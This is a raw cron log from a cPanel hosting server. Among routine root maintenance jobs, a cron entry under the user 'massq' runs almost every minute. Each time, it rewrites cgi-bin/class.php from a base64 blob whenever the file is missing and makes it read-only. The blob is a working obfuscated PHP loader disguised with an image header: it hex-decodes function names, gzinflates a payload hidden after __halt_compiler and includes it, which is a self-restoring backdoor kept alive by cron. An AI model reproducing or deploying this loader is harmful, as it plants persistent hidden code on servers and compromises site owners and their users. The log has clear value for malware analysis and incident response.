Aug 31 14:01:01 server CROND[32064]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 14:01:01 server run-parts(/etc/cron.hourly)[32064]: starting 0anacron
Aug 31 14:01:01 server run-parts(/etc/cron.hourly)[32083]: finished 0anacron
Aug 31 14:02:01 server CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:02:01 server CROND[32436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:02:01 server CROND[32437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:03:01 server CROND[353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:03:01 server CROND[354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:03:01 server CROND[352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:04:01 server CROND[1213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:04:01 server CROND[1214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:04:01 server CROND[1219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:05:01 server CROND[1691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:05:01 server CROND[1693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:05:01 server CROND[1699]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 31 14:05:01 server CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 14:05:01 server CROND[1713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:05:01 server CROND[1705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:05:01 server CROND[1711]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:05:01 server CROND[1712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:05:01 server CROND[1709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:06:01 server CROND[2659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:06:01 server CROND[2660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:06:01 server CROND[2662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:07:01 server CROND[3065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:07:01 server CROND[3066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:07:01 server CROND[3067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:08:01 server CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:08:01 server CROND[3455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:08:01 server CROND[3456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:09:01 server CROND[3837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:09:01 server CROND[3838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:09:01 server CROND[3839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:09:01 server CROND[3840]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 14:10:01 server CROND[4328]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:10:01 server CROND[4329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:10:01 server CROND[4330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:10:01 server CROND[4332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:10:01 server CROND[4331]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:10:01 server CROND[4335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:10:01 server CROND[4334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:10:01 server CROND[4333]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:11:01 server CROND[5174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:11:01 server CROND[5176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:11:01 server CROND[5177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:12:01 server CROND[5557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:12:01 server CROND[5559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:12:01 server CROND[5558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:12:01 server CROND[5560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:13:01 server CROND[5945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:13:01 server CROND[5947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:13:01 server CROND[5946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
